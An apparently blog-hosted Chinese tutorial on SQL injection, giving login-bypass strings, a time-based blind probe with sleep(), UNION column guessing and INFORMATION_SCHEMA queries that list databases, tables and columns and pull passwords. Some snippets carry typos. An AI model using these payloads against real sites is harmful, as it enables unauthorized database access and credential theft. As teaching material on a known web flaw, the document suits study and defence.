一、SQL注入概念
  1、sql注入是一种将sql代码添加到输入参数中
  2、传递到sql服务器解析并执行的一种攻击手法
  举例:某个网站的用户名为name=‘admin’。执行时为select name from users where name=‘admin’
    则输入时输入name='' or '1=1'。实则数据库中执行的是select name from users where name='' or '1=1'则为真,用户名有效
二、SQL注入的产生
  1、web开发人员无法保证所有的输入都已经过滤
  2、攻击者利用发送给sql服务器的输入数据构造可执行的sql代码
  3、数据库未做相应的安全配置
  对于1和2两点,攻击者可以利用get请求、post请求、cookie信息、相应的http头信息等进行数据的输入而达到攻击的目的
三、寻找sql注入漏洞
  1、通过构造异常而引发异常,例如:只支持整型的地方输入特殊字符来引起sql异常
  2、通过get请求、post请求、cookie信息、相应的http头信息等查找敏感信息
  3、检测服务器中相应的异常
四、进行sql注入攻击
  1、数字注入。利用数据库中where判断语句中数字输入进行攻击。
    例如:select name from users where name='' or '1=1'。结果永远为true
  2、字符串注入。利用mysql的注释方法进行攻击
    a、#注释的方法。
      用户名的输入框中输入:admin'#,密码任意填写。
      在数据库中执行的是:select * from name='admin'#'and password=xxxxx'。#后面的全部注释掉,判断的时候只判断name=admin
    b、-- hdka方法,两个横杠+空格+任意字符。在执行的时候空格后面的所有被当作注释处理
      用户名的输入框中输入:admin'-- ,密码任意填写。
      在数据库中执行的是:select * from name='admin'-- 'and password=xxxxx'。#后面的全部注释掉,判断的时候只判断name=admin 
 
五、注入步骤

  1、找寻注入点

  输入一个单引号,如果报错说明语法错误则存在注入点
  执行的语句为:select xxx form xxx where x=‘‘’;

  如果单引号没有反应,可尝试盲注
  加时间进行尝试
  X' and sleep(10) --ss'

   sleep中的为时间,10即位10s
  如果浏览器显示在加载中说明可能存在注册点

  2、猜字段

  Sql中数字可以作为字段进行匹配
  因为使用union必须前后字段数量相同
  ' union select 1 -- '
  ' union select 1,2 -- '
  ' union select 1,2,3 -- '
  ...
  如果前面语句中只有两个字段,但是想要获取4个其他表中字段值,使用concat
  例:selcet id,name form user where = 输入框;
  注入:selcet id,name form user where = ‘’ union select username,concat(password,' ',email,' ',address) from users --'

  3、使用union获得其他表信息

  获得当前数据库及用户信息
  ' union select version(),database() --'

  数据库版本信息
  version()  
  获得当前数据库名
  database()  

  查询所有库名
  'union select TABLE_SCHEMA from INFORMATION_SCHEMA.tables --'  
  查询表名
  'union select table_name from INFORMATION_SCHEMA.tables --'
  查询表名及对应的库名
  'union select TABLE_SCHEMA,table_name from INFORMATION_SCHEMA.tables --'

  查询数据表中的列名
  'union select colunm_name from INFORMATION_SCHEMA.colunms where table_name='xxx表' --'

SQL注入介绍的更多相关文章

  1. SQL注入 (1) SQL注入类型介绍

    SQL注入 SQL注入介绍与分类 1. 什么是sql注入 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 2. sql注入类型 按照注入 ...

  2. SQL注入科普

    技术交流,安全交友联系渔夫”小白“,微信号(xz116035) SQL注入介绍 SQL注入攻击是最为常见的Web应用安全漏洞之一,国外知名安全组织OWASP针对web应用安全漏洞进行了一个排名,SQL ...

  3. DDOS、CC、sql注入,跨站攻击防御方法

    web安全常见攻击解读--DDos.cc.sql注入.xss.CSRF 一,DDos https://www.cnblogs.com/sochishun/p/7081739.html#4111858 ...

  4. 防止sql注入和sqlmap介绍

    sql注入问题从WEB诞生到现在也一直没停过,各种大小公司都出现过sql注入问题,导致被拖库,然后存在社工库撞库等一系列影响. 防止sql注入个人理解最主要的就一点,那就是变量全部参数化,能根本的解决 ...

  5. IIS安全工具UrlScan介绍 ASP.NET 两种超强SQL 注入免费解决方案( 基于IIS,使用免费工具) 批改或隐藏IIS7.5的Server头信息 移除X-Powered-By,MVC,ASP.NET_SessionId 的 HTTP头或者cookie名称

    微软给了我们一个很好的工具用来使IIS安全的运行-------UrlScan,下面是它的配置文件介绍 [options]UseAllowVerbs=1                ; 若为1,则使用 ...

  6. Sql注入基础原理介绍

    说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...

  7. web安全之SQL注入--第一章 课程介绍

    课程介绍1.什么是SQL注入?2.如何寻找SQL注入漏洞?3.如何进行sql注入攻击?4.如何预防sql注入5.课程总结

  8. SQL注入与burPsuit工具介绍

    sql注入原理 原理:用户输入不可控,用户输入导致了sql语义发生了改变 用户输入不可控:网站不能控制普通用户的输入 sql语义发生变化: 动态网页介绍: 网站数据请求 脚本语言:解释类语言,如,后端 ...

  9. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

随机推荐

  1. Go语言标准库之JSON编解码

    Go语言标准库之JSON编解码 基本的类型 Go语言中的数据类型和JSON的数据类型的关系 bool -> JSON boolean float64 -> JSON numbers str ...

  2. 09-部署配置kubedns插件

    安装和配置 kubedns 插件 官方的yaml文件在:kubernetes/cluster/addons/dns. 该插件直接使用kubernetes部署,官方的配置文件中包含以下镜像: gcr.i ...

  3. Python函数学习——作用域与嵌套函数

    全局与局部变量 在函数中定义的变量称为局部变量,在程序的一开始定义的变量称为全局变量. 全局变量作用域是整个程序,局部变量作用域是定义该变量的函数. 当全局变量与局部变量同名时,在定义局部变量的函数内 ...

  4. Python函数——闭包延迟绑定

    前言 请看下面代码 def multipliers(): return [lambda x : i*x for i in range(4)] print ([m(2) for m in multipl ...

  5. web自动化测试---概述

    最早的时候是做功能测试,web都是自己手工点击看看有没问题,没有系统的进行测试,更别说自动化测试了,那是一段不堪回首的往事,就是因为这,很多问题都流出去了,这是作为测试人员的一大失职,痛定思痛,开始学 ...

  6. Split()[1]中的[1]是什么意思

    split()方法是将指定字符串按某指定的分隔符进行拆分,拆分将会形成一个字符串的数组并返回 如:string str = "aa.bb.cc.dd"; string[] strA ...

  7. dart之旅(一)

    前言 最近在看 dart 了,本着 "纸上得来终觉浅,绝知此事 markdown" 的原则,准备边学边写,写一个系列,这是第一篇.学习过程中主要是参考 A Tour of the ...

  8. PHP 九九乘法表的4种表达方式

    九九乘法表的四种不同表现形式 x轴对称: //第一种 for($i=1;$i<=9;$i++){ for($j=1;$j<=$i;$j++) { echo $i.'x'.$j.'='.$i ...

  9. FFmpeg数据结构AVPacket

    本文为作者原创,转载请注明出处:https://www.cnblogs.com/leisure_chn/p/10410320.html 本文基于FFmpeg 4.1版本. 1. 数据结构定义 stru ...

  10. 光流法详解之一(LK光流)

    Lucas–Kanade光流算法是一种两帧差分的光流估计算法.它由Bruce D. Lucas 和 Takeo Kanade提出 [1]. LK光流法有三个假设条件: 1. 亮度恒定:一个像素点随着时 ...